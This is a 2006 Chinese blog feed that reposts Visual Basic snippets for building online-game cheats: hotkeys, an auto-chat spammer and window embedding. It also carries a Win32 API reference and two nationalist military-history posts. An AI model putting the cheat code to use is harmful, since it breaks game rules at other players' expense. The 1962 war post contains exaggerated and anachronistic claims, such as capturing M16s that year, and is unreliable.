BM_CLICK = &amp;HF5                    'Clicking a button<br />Public Const SW_MAXIMIZE = 3<br />Public Const SW_MINIMIZE = 6<br />Public Const SW_HIDE = 0<br />Public Const SW_RESTORE = 9<br />Public Const WM_MDICASCADE = &amp;H227              'Cascading windows<br />Public Const MDITILE_HORIZONTAL = &amp;H1<br />Public Const MDITILE_SKIPDISABLED = &amp;H2<br />Public Const WM_MDITILE = &amp;H226</p><p></p><p></p><p>'窗口半透明<br />'rtn = GetWindowLong(Me.hwnd, GWL_EXSTYLE)    '取的窗口原先的样式<br />'rtn = rtn Or WS_EX_LAYERED     '使窗体添加上新的样式WS_EX_LAYERED<br />'SetWindowLong Me.hwnd, GWL_EXSTYLE, rtn    '把新的样式赋给窗体<br />'SetLayeredWindowAttributes Me.hwnd, 0, 192, LWA_ALPHA<br />'把窗体设置成半透明样式,第二个参数表示透明程度<br />'取值范围0--255,为0时就是一个全透明的窗体了<br />Public Type POINTAPI<br />x As Long<br />y As Long<br />End Type</p><p></p><p>Attribute VB_Name = "Module2"<br />Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long<br />Declare Function RegisterHotKey Lib "user32" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long<br />Declare Function UnregisterHotKey Lib "user32" (ByVal hwnd As Long, ByVal id As Long) As Long</p><p>Public Const WM_HOTKEY = &amp;H312  '消息标志常量 代表热键激活消息<br />Public Const MOD_ALT = &amp;H1  'ALT标志<br />Public Const MOD_CONTROL = &amp;H2 'Ctrl标志<br />Public Const MOD_SHIFT = &amp;H4  'Shift标志<br />Public Const GWL_WNDPROC = (-4)  '窗体函数地址标志</p><p>Public preWinProc As Long  '原来的窗体函数地址<br />Public Modifiers As Long, uVirtKey As Long, idHotKey As Long<br />'      功能键状态         热键</p><p>Public GameWindow As Long</p><p>Private Type taLong  '定义类型<br />   ll As Long<br />End Type<br />Private Type t2Int<br />   lWord As Integer<br />   hword As Integer<br />End Type</p><p> Public Function wndproc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long<br /> <br /> <br /> <br /> <br /> If Msg = WM_HOTKEY Then        '如果是热键激活消息<br />    If wParam = idHotKey Then   '是指定的热键ID<br />       Dim lp As taLong, i2 As t2Int<br />       lp.ll = lParam   '取参数消息<br />       LSet i2 = lp<br />       If (i2.lWord = Modifiers) And i2.hword = uVirtKey Then '是所定义的热键被激活<br />       <br />   <br />                   <br />            If GameWindow &gt; 0 Then<br />            If IsWindowVisible(frmMain.hwnd) Then<br />                frmMain.Show<br />                Else<br />                frmMain.Show<br />                'SetWindowPos GameWindow, 0, 0, 0, Int(frmGame.Width / 15), Int(frmGame.Height / 15), &amp;H20<br />            End If<br />                ShowWindow frmMain.hwnd, SW_MINIMIZE<br />                frmMain.Show<br />            End If<br />          <br />          'Shell "notepad", vbNormalFocus<br />       End If<br />   End If<br /> Else<br /> '将之送往原来的Window Procedure<br /> wndproc = CallWindowProc(preWinProc, hwnd, Msg, wParam, lParam) '不是本热键激活消息就送回到原窗口函数处理<br /> End If<br /> End Function<br /> </p><p></p><p><br /><br /><br /></p></td></tr></tbody></table><table cellspacing="0" cellpadding="0" width="100%" align="right" border="0"><form action="rate.asp" method="post" target="_blank"><tbody><tr><td width="70%"><font color="#dbc7b0"> 注册: <b>2005-10</b>    状态: </font><font color="#8bbb9e"><b><a href="http://www.gameres.com/bbs/showposterip.asp?postid=260354" target="_blank"><font color="#888888">Offline</font></a></b></font></td><td align="right" width="10%"><b><font color="#999999">2</font></b>   <a href="http://www.gameres.com/bbs/showthread.asp?threadid=49904#top">Top</a></td></tr></tbody></form></table></td></tr></tbody></table><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" cellspacing="1" cellpadding="4" width="98%" align="center" bgcolor="#9d9879" border="0"><tbody><tr bgcolor="#f7ebde"><td valign="top" align="middle" width="20%" bgcolor="#f7ebde"><b>事业不成功只用小灵通<br /></b>Exp:748<br /><img height="100" src="http://www.dywt.com.cn/vbs/uploadface/1228_200412023494647428.gif" width="100" /><br />中士<br /><img src="http://images.gameres.com/bbs/image/title/6.gif" /></td><td valign="top" width="80%" bgcolor="#f7ebde"><table id="table2" cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td width="35%"><font color="#4a4108"> 发表于: 2006-3-9 18:38:00</font></td><td><p align="right"><a href="http://www.gameres.com/bbs/gotoblog.asp?ID=事业不成功只用小灵通" target="_blank">博客</a> | <a href="http://www.gameres.com/bbs/showuser.asp?userid=34603" target="_blank">档案</a> | <a href="http://http://www.17wpk.com" target="_blank">主页</a> | <a href="http://www.gameres.com/bbs/showmessage.asp?action=sendmessage&amp;username=事业不成功只用小灵通" target="_blank">短信</a> | <a href="http://www.gameres.com/bbs/showthread.asp?postid=260357">树状</a> | <a href="http://www.gameres.com/bbs/newfavorite.asp?threadid=49904" target="_blank">收藏</a> | <a href="http://www.gameres.com/bbs/editpost.asp?postid=260357">编辑</a> | <a href="http://www.gameres.com/bbs/delpost.asp?postid=260357">删除</a> | <a href="http://www.gameres.com/bbs/newreply.asp?quote=yes&amp;postid=260357">引用</a>   </p></td></tr></tbody></table><hr color="#7a7138" noshade="" size="1" /><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" cellspacing="1" cellpadding="4" width="100%" border="0"><tbody><tr><td valign="top"><b>Re:发几个代码.VB写的!</b><br /><br />--------------------------------<br />自动发言 
<p></p><p>Dim tmrDelay As Long<br />Dim sndMsg As String<br />Private Sub Command1_Click()<br />tmrDelay = 0<br /> tMr.Interval = 1000<br />  tMr.Enabled = True<br />End Sub<br />Private Sub cmdSend_Click()<br />If cmdSend.Caption = "发  言" Then<br />tmrDelay = 0<br /> tMr.Interval = 1000<br />  tMr.Enabled = True<br /> cmdSend.Caption = "停  止"<br /> Else<br /> tMr.Enabled = False<br /> cmdSend.Caption = "发  言"<br />  End If<br />End Sub<br />Private Sub tMr_Timer()<br />tMr.Enabled = False<br />tmrDelay = tmrDelay + 1<br />If tmrDelay &lt; CInt(txtDelay.Text) Then<br />Else<br />SendKeys txtMsg.Text &amp; "{ENTER}"<br />tmrDelay = 0<br />End If<br />tMr.Enabled = True<br />End Sub<br /><br /><br /></p></td></tr></tbody></table><table cellspacing="0" cellpadding="0" width="100%" align="right" border="0"><form action="rate.asp" method="post" target="_blank"><tbody><tr><td width="70%"><font color="#dbc7b0"> 注册: <b>2005-10</b>    状态: </font><font color="#8bbb9e"><b><a href="http://www.gameres.com/bbs/showposterip.asp?postid=260357" target="_blank"><font color="#888888">Offline</font></a></b></font></td><td align="right" width="10%"><b><font color="#999999">3</font></b>   <a href="http://www.gameres.com/bbs/showthread.asp?threadid=49904#top">Top</a></td></tr></tbody></form></table></td></tr></tbody></table><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" cellspacing="1" cellpadding="4" width="98%" align="center" bgcolor="#9d9879" border="0"><tbody><tr bgcolor="#eee0d0"><td valign="top" align="middle" width="20%" bgcolor="#eee0d0"><b>事业不成功只用小灵通<br /></b>Exp:748<br /><img height="100" src="http://www.dywt.com.cn/vbs/uploadface/1228_200412023494647428.gif" width="100" /><br />中士<br /><img src="http://images.gameres.com/bbs/image/title/6.gif" /></td><td valign="top" width="80%" bgcolor="#eee0d0"><table id="table2" cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td width="35%"><font color="#4a4108"> 发表于: 2006-3-9 18:39:00</font></td><td><p align="right"><a href="http://www.gameres.com/bbs/gotoblog.asp?ID=事业不成功只用小灵通" target="_blank">博客</a> | <a href="http://www.gameres.com/bbs/showuser.asp?userid=34603" target="_blank">档案</a> | <a href="http://http://www.17wpk.com" target="_blank">主页</a> | <a href="http://www.gameres.com/bbs/showmessage.asp?action=sendmessage&amp;username=事业不成功只用小灵通" target="_blank">短信</a> | <a href="http://www.gameres.com/bbs/showthread.asp?postid=260360">树状</a> | <a href="http://www.gameres.com/bbs/newfavorite.asp?threadid=49904" target="_blank">收藏</a> | <a href="http://www.gameres.com/bbs/editpost.asp?postid=260360">编辑</a> | <a href="http://www.gameres.com/bbs/delpost.asp?postid=260360">删除</a> | <a href="http://www.gameres.com/bbs/newreply.asp?quote=yes&amp;postid=260360">引用</a>   </p></td></tr></tbody></table><hr color="#7a7138" noshade="" size="1" /><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" cellspacing="1" cellpadding="4" width="100%" border="0"><tbody><tr><td valign="top"><b>Re:发几个代码.VB写的!</b><br /><br />-----------------------------------<br />窗口化 
<p></p><p><br />Private Sub Form_Load()</p><p>Me.Caption = ""<br />Shell App.Path &amp; "\Launcher.exe"<br />tmr.Interval = 1000<br />tmr.Enabled = True</p><p>End Sub</p><p>Private Sub tmr_Timer()<br />tmr.Enabled = False<br />GameWindow = FindWindow(vbNullString, "YB_OnlineClient")<br />If GameWindow &gt; 0 Then<br />Me.Caption = "YB_OnlineClient"<br />SetParent GameWindow, Me.hwnd<br />Else<br />tmr.Enabled = True<br />End If</p><p>End Sub</p><p>-------------------------------<br />模块部分</p><p>Attribute VB_Name = "Module1"<br />Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long<br />Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long<br />Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long<br />Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long<br />Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long<br />Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long) As Long<br />Declare Function ReleaseCapture Lib "user32" () As Long<br />Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long<br />Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long<br />Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long<br />Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long<br />Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long<br />'窗口总在最前端 retvalue = SetWindowPos(Me.hwnd, HWND_TOPMOST, Me.CurrentX, Me.CurrentY, 300, 300, SWP_SHOWWINDOW)<br />Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long<br /> '具体可以使用的常量及其用法<br />Public Const LWA_ALPHA = &amp;H2   '表示把窗体设置成半透明样式<br />Public Const LWA_COLORKEY = &amp;H1   '表示不显示窗体中的透明色<br />Public Const WS_EX_LAYERED = &amp;H80000<br />Public Const GWL_EXSTYLE = (-20)</p><p>Public Const WM_SYSCOMMAND = &amp;H112<br />Public Const SC_MOVE = &amp;HF010<br />Public Const HTCAPTION = 2<br />Public Const WM_NCLBUTTONDOWN = &amp;HA1</p><p>Public Const HWND_TOPMOST = -1<br />Public Const SWP_SHOWWINDOW = &amp;H40</p><p>Public Const WM_CLOSE = &amp;H10                    'Closing window<br />Public Const SW_SHOW = 5                        'showing window<br />Public Const WM_SETTEXT = &amp;HC                   'Setting text of child window<br />Public Const WM_GETTEXT = &amp;HD                   'Getting text of child window<br />Public Const WM_GETTEXTLENGTH = &amp;HE<br />Public Const EM_GETPASSWORDCHAR = &amp;HD2          'Checking if its a password field or not<br />Public Const BM_CLICK = &amp;HF5                    'Clicking a button<br />Public Const SW_MAXIMIZE = 3<br />Public Const SW_MINIMIZE = 6<br />Public Const SW_HIDE = 0<br />Public Const SW_RESTORE = 9<br />Public Const WM_MDICASCADE = &amp;H227              'Cascading windows<br />Public Const MDITILE_HORIZONTAL = &amp;H1<br />Public Const MDITILE_SKIPDISABLED = &amp;H2<br />Public Const WM_MDITILE = &amp;H226</p><p></p><p></p><p>'窗口半透明<br />'rtn = GetWindowLong(Me.hwnd, GWL_EXSTYLE)    '取的窗口原先的样式<br />'rtn = rtn Or WS_EX_LAYERED     '使窗体添加上新的样式WS_EX_LAYERED<br />'SetWindowLong Me.hwnd, GWL_EXSTYLE, rtn    '把新的样式赋给窗体<br />'SetLayeredWindowAttributes Me.hwnd, 0, 192, LWA_ALPHA<br />'把窗体设置成半透明样式,第二个参数表示透明程度<br />'取值范围0--255,为0时就是一个全透明的窗体了<br />Public Type POINTAPI<br />X As Long<br />Y As Long<br />End Type</p><p><br />Public GameWindow As Long<br /><br /></p></td></tr></tbody></table></td></tr></tbody></table><img src ="http://www.blogjava.net/songfei/aggbug/55747.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-29 14:48 <a href="http://www.blogjava.net/songfei/articles/55747.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VB 从零开始编外挂</title><link>http://www.blogjava.net/songfei/articles/55326.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Tue, 27 Jun 2006 06:43:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/55326.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/55326.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/55326.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/55326.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/55326.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: VB 从零开始编外挂(一)																																																																																																																																																																									...&nbsp;&nbsp;<a href='http://www.blogjava.net/songfei/articles/55326.html'>阅读全文</a><img src ="http://www.blogjava.net/songfei/aggbug/55326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-27 14:43 <a href="http://www.blogjava.net/songfei/articles/55326.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mouse_event VB声明 </title><link>http://www.blogjava.net/songfei/articles/55175.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 26 Jun 2006 08:46:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/55175.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/55175.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/55175.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/55175.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/55175.html</trackback:ping><description><![CDATA[
		<table height="22" cellspacing="0" cellpadding="0" width="98%" align="center" border="0">
				<tbody>
						<tr>
								<td width="100%" height="16">
										<h1 style="FONT-SIZE: 16pt">
												<a name="mouse_event">mouse_event</a>
										</h1>
								</td>
						</tr>
				</tbody>
		</table>
		<center>
		</center>
		<div>
		</div>
		<div align="center">
				<center>
						<table cellspacing="0" bordercolordark="#ffffff" width="98%" align="center" bordercolorlight="#808080" border="1">
								<tbody>
										<tr>
												<td width="103%" colspan="3">VB声明</td>
										</tr>
										<tr>
												<td width="103%" colspan="3">Declare Sub mouse_event Lib "user32" Alias "mouse_event" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)</td>
										</tr>
										<tr>
												<td width="103%" colspan="3">说明</td>
										</tr>
										<tr>
												<td width="103%" colspan="3">模拟一次鼠标事件</td>
										</tr>
										<tr>
												<td width="103%" colspan="3">参数表</td>
										</tr>
										<tr>
												<td width="25%">参数</td>
												<td width="78%" colspan="2">类型及说明</td>
										</tr>
										<tr>
												<td width="25%" rowspan="9">dwFlags</td>
												<td width="78%" colspan="2">Long，下述标志的一个组合</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_ABSOLUTE</td>
												<td width="38%">dx和dy指定鼠标坐标系统中的一个绝对位置。在鼠标坐标系统中，屏幕在水平和垂直方向上均匀分割成65535×65535个单元</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_MOVE</td>
												<td width="38%">移动鼠标</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_LEFTDOWN</td>
												<td width="38%">模拟鼠标左键按下</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_LEFTUP</td>
												<td width="38%">模拟鼠标左键抬起</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_RIGHTDOWN</td>
												<td width="38%">模拟鼠标右键按下</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_RIGHTUP</td>
												<td width="38%">模拟鼠标右键按下</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_MIDDLEDOWN</td>
												<td width="38%">模拟鼠标中键按下</td>
										</tr>
										<tr>
												<td width="37%">MOUSEEVENTF_MIDDLEUP</td>
												<td width="38%">模拟鼠标中键按下</td>
										</tr>
										<tr>
												<td width="25%">dx</td>
												<td width="78%" colspan="2">Long，根据是否指定了MOUSEEVENTF_ABSOLUTE标志，指定水平方向的绝对位置或相对运动</td>
										</tr>
										<tr>
												<td width="25%">dy</td>
												<td width="78%" colspan="2">Long，根据是否指定了MOUSEEVENTF_ABSOLUTE标志，指定垂直方向的绝对位置或相对运动</td>
										</tr>
										<tr>
												<td width="25%">cButtons</td>
												<td width="78%" colspan="2">Long，未使用</td>
										</tr>
										<tr>
												<td width="25%">dwExtraInfo</td>
												<td width="78%" colspan="2">Long，通常未用的一个值。用GetMessageExtraInfo函数可取得这个值。可用的值取决于特定的驱动程序</td>
										</tr>
										<tr>
												<td width="103%" colspan="3">注解</td>
										</tr>
										<tr>
												<td width="103%" colspan="3">
														<p align="left">进行相对运动的时候，由<a href="http://www.vbgood.com/api-manual/systemparametersinfo.htm">SystemParametersInfo</a>函数规定的系统鼠标轨迹速度会应用于鼠标运行的速度</p>
												</td>
										</tr>
								</tbody>
						</table>
				</center>
		</div>
<img src ="http://www.blogjava.net/songfei/aggbug/55175.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-26 16:46 <a href="http://www.blogjava.net/songfei/articles/55175.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>没事看看</title><link>http://www.blogjava.net/songfei/articles/54456.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Thu, 22 Jun 2006 04:40:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/54456.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/54456.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/54456.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/54456.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/54456.html</trackback:ping><description><![CDATA[
		<table class="TableDark" style="WIDTH: 746px" cellspacing="0" cellpadding="7">
				<tbody>
						<tr class="Tool13" align="middle">
								<td>【 · 原创:京云　 2004-11-01 22:28 】　　 </td>
						</tr>
						<tr>
								<td class="Content" align="left">　　62年对印自卫反击战是自解放后至今我军所打的最漂亮的一仗!<br />　　我的一位朋友是一名来自中印边防哨所的老兵，我想告诉大家一些真相，事实并不象你们想像的那样.62年对印自卫反击战是自解放后至今我军所打的最漂亮的一仗!我军取得的是绝对压倒性的胜利，我可以告诉大家一些数据:全歼印军３个旅，大部歼灭印军３个旅，另外歼灭印军５个旅各一部，生擒幻?击毙一名将军，总计歼灭侵印军８９００余人，另外被打散逃入原始森林辗转数天到数月回国的将级以下官兵7000多人，要不是我一连迷路，差点生擒印参谋局总长劳尔（缴获了专机）而我军连死带伤不过１０００余人，无一兵一卒被俘．短短一个月，我军最远打到了距印首都不到３００公里的地方．此时印度东北各邦已无兵可战，数亿人逃离，连交通警察都佩发了武器．各国驻印使馆纷纷撤离，对我极为不满的美英苏也只能偷偷物资援助印度罢了．为争取政治上的主动，我军才突然宣布了停火．此一战使印军在数十年里望我军而胆寒．我知道网友想不通的是＂后退２０公里＂．呵呵，我还可以告诉大家一些数据：印入侵前东段实际控制亚东，看看我国地图，那地方现在叫亚东县．西线印当时在狮泉河驻军，狮泉河实际上是现在阿里地区的首府，孔繁森同志的地盘．我军实际收复了晚清时丢失的３０万平方公里土地．我们只会向前不会后退，比如现在我们洗澡的温泉８７年以前还是印军驻地，８７４演习后就是我们的了．我看到有位网友不知道他是干嘛的哪国人，说我们是劣等民族，他说他始终找不出我们国家伟大的丝毫依据．我告诉你这就是．想想在邦迪拉我军３０个人阻击了敌装备齐全的３０００人，敌死伤几百人始终未前进一步．一个战士击溃一个炮连，缴获四门大炮。八个战士俘虏180个印度兵，在追击敌军时，我一个连的先头部队，比逃跑的印军还跑得快，转过头又把印军堵在了德让宗，就在这个连挖工事时，后面来了一个庞大的车队，等打下德让宗才知道，车里全是英美两国紧急援助印度的第一批先进武器，连封条都没拆，其中就有美国当时最先进的M16步枪。这个连一直向前打得收不住，一个兵问连长说我们是不是打出印度快到美国了，连长望着远方骄傲地说，前面是印度次大陆，再往前你就掉印度洋里了．是不是有点像天方夜谭？各位网友，请为我们的民族自豪吧，这一切完全真实．一个劣等民族能有如此优秀的士兵吗？请不要再自己看不起自己了，中华民族是一个伟大的民族！<br />　　</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/songfei/aggbug/54456.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/songfei/" target="_blank">天外飞仙</a> 2006-06-22 12:40 <a href="http://www.blogjava.net/songfei/articles/54456.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>毛泽东在军事界的泰斗之位不可动摇 </title><link>http://www.blogjava.net/songfei/articles/53730.html</link><dc:creator>天外飞仙</dc:creator><author>天外飞仙</author><pubDate>Mon, 19 Jun 2006 03:25:00 GMT</pubDate><guid>http://www.blogjava.net/songfei/articles/53730.html</guid><wfw:comment>http://www.blogjava.net/songfei/comments/53730.html</wfw:comment><comments>http://www.blogjava.net/songfei/articles/53730.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/songfei/comments/commentRss/53730.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/songfei/services/trackbacks/53730.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="2" width="90%" align="center">
				<tbody>
						<tr>
								<td>
										<b>文章标题：</b>毛泽东在军事界的泰斗之位不可动摇 <br /><b>发表时间：</b>2006-6-13<br /><b>文章作者：</b>游戏中人<br /><b>发表评论：</b><a href="http://bbs.chinaiiss.org/dispbbs.asp?boardid=39&amp;id=30455">http://bbs.chinaiiss.org/dispbbs.asp?boardid=39&amp;id=30455</a><br /></td>
						</tr>
				</tbody>
		</table>
		<hr style="COLOR: #333333" width="90%" size="1" />
		<table cellspacing="0" cellpadding="2" width="90%" align="center">
				<tbody>
						<tr>
								<td style="LINE-HEIGHT: 150%">兵家泰斗问谁属？如果用这样的题目设问，相信会有多种回答。譬如有人立马就会举出拿破仑、朱可夫、蒙哥马利、隆美尔、古德里安、巴顿……等等，这些人，都是著名的战争统帅，从战争实践的意义上来说，他们都是同时代兵家中的皎皎者。<font color="#f2f1f1"></font><p>　　可能还有人会举出卡尔?克劳塞维茨、利德尔?哈特、约翰?弗里、德里克?富勒、安?薄富尔、安托万?约米尼……等等，这些人，都是著名的军事理论家，从战争理论的层次上来说，他们都是他们所处时代军事思想的先驱。<font color="#f2f1f1"></font></p><p>　　然而，泰斗级的兵家，应该是战略级别和谋略层次的战争艺术的全能大师。很荣幸，这样的兵家泰斗，不多，出自我们的国度就有两位，而且都是世界冠军级别的。――古有孙武子，今有毛泽东。<font color="#f2f1f1"></font></p><p>　　孙武子，中国古代最伟大的军事理论家，其《孙子兵法》是世界上刊印最多的兵书，也是影响最为持久的兵书，甚至在象发生最近的海湾战争，你也能从多国部队的军人们手中发现这本两千多年前的兵书。<font color="#f2f1f1"></font></p><p>　　孙子的遗憾是其战争实践活动不多，不光是无法与现如今的军事大家们相比，就是与他同时代的将帅相比，他的军事实践活动在排行榜上的位置也不会太靠前。<font color="#f2f1f1"></font></p><p>　　那么毛泽东呢？<font color="#f2f1f1"></font></p><p>　　可以毫不夸张的说，毛泽东是世界全能冠军级的兵家泰斗。毛泽东是集战略家、军事理论家和统帅于一身的战争艺术大师，也是世界历史上少有的经历冲突类型最多而又始终立于不败之地的统帅。他从千余人的农民队伍起家，经过22年的武装斗争，直到成为数百万大军的统帅。他平生直接或间接指挥了四百多个堪称经典的战役和战斗，留下了五百多万字的军事著作和军事文电，创立了具有中国特色以人民战争为主体的毛泽东军事思想体系，对战后世界政治格局产生了重大影响。他指挥他一手创立并发展壮大起来的人民军队，与内外敌人作战二十余年――包括日本军队、美国军队这样非常强悍的军队，歼灭敌军千余万人；他领导他一直都处在弱者地位的国家和人民，一直都在战胜处于强者地位的敌人――世界上没有任何一支军队象他所领导的人民解放军一样，在连续22年的严酷战争中，都是在劣势的情况与强大的敌人作斗争而最终能立于不败之地。<font color="#f2f1f1"></font></p><p>　　试问这还不叫奇迹的话世界上还有什么可称作奇迹呢？<font color="#f2f1f1"></font></p><p>　　有人读了几本洋人的书，每每言必称巴顿。事实上，巴顿整个一生的作战经历不超过3年，而毛泽东麾下的我人民解放军授衔时的千员战将，哪个不是15年以上的作战经历？从土地革命战争参加革命的红军将领，一生作战已不能用“身经百战”来形容，而是货真价实的“身经千战”――据已故肖锋少将留下的日记所载，他平生作战1365次。这，大概可以入吉尼斯世界纪录了吧？而且，肖锋将军肯定不是我军将领中作战纪录最高的。从这个意义上说，我们有几千个“巴顿”。而纵观第二次大战中美英苏等强国军队和将领的表演，除了在战争强度上胜我一筹外，无论从战略的远视，谋略的高明，斗争的复杂等方面，都不能与毛泽东所指导的中国革命战争相提并论。艾森豪威尔、朱可夫等著名统帅都是其国家强大的物质条件的保障之下去指导战争的。<font color="#f2f1f1"></font></p><p>　　　　“见胜不过众人之所之，非善之善者也”，这不是高明中最高明的！而毛泽东的条件则简直不能与之相提并论――他一切本钱都要自己凑，要边凑本钱边打仗，这才是高明之中最高明的。<font color="#f2f1f1"></font></p><p>　　毛泽东这样的兵家泰斗，古今中外，谁人能匹？我们身为中国人，为能在我们的国度产生这样的兵家泰斗而骄傲和自豪。令人难已理解的是，有人不光睁着眼睛看不到我们民族的英雄和伟人，还跟着别人瞎起哄去抵毁他、贬损他，这的确是非常可悲的。<font color="#f2f1f1"></font></p><p>　　不过这样的人之所以让某些对中华民族不怀好意的美国人觉得还有作用，恰恰说明了毛泽东和毛泽东所创立的新中国在他们心目中那种举足轻重的份量?试想，如果中国还是50年前那种萎糜的形象，他用得着费那么大神来说三道四吗？还用得着祭起中情局与李志绥这等角色来炮制所谓“私人医生”的天方夜谭吗？<font color="#f2f1f1"></font></p><p>　　毛泽东，为病弱古国振军威，让一个趴在地下任人宰割的民族自立于世界民族之林，这样的历史功绩谁人能匹？<font color="#f2f1f1"></font></p><p>　　毛泽东军事思想是专门为弱者提供的战胜强者的思想武器，在二十世纪所有统帅中，就指挥战争的时间之漫长，规模之浩大，情况之复杂，内容之丰富，条件之艰苦而言，毛泽东都是首屈一指的。西方军界公认的兵家泰斗拿破仑，一生从事战争二十余年，从一个炮兵少尉直到法兰西皇帝，指挥过60个战役，其中有少数是以少胜多的，其对手也很少有超过自己一倍以上的力量。而且，拿破仑自己也没有形成自己的理论体系，只有流传下来的几百条语录。如果与毛泽东相比，那就只能是“稍逊风骚”了。笔者斗胆妄言，就凭毛泽东成名之作的第一、二、三次反围剿战役，也足以让拿破仑叹为观止，狠狠地嫉妒一回了。<font color="#f2f1f1"></font></p><p>　　在第二次世界大战中，毛泽东所指导的革命战争，也毫不逊色于其它强国。<font color="#f2f1f1"></font></p><p>　　苏联的卫国战争，该是战争史上无以伦比的宏篇巨制了吧？然而从双方的投入和战果来看，苏军的战略指导却很难称之为高超。苏军总兵力一直占优势，装备水平也不弱于对手，在某些方面甚至还占优势，可作战付出的代价却高于德军。比如人员伤亡和兵器损失，就大大高于对方。<font color="#f2f1f1"></font></p><p>　　美、英、法等国也好不了哪里去，即或是蒙哥马利和艾森豪威尔等名将，其取胜的前提无一不是已方军力远优于对手。而与他们同时代的、远在中国黄土高坡窑洞中穿着破衣烂衫的毛泽东需要面对的对手，却远不是大自己一倍两倍的概念。区区数万兵力，要在敌伪顽夹击的环境中生存下就是一个很大的问题，更不要说发展壮大去战胜对手。<font color="#f2f1f1"></font></p><p>　　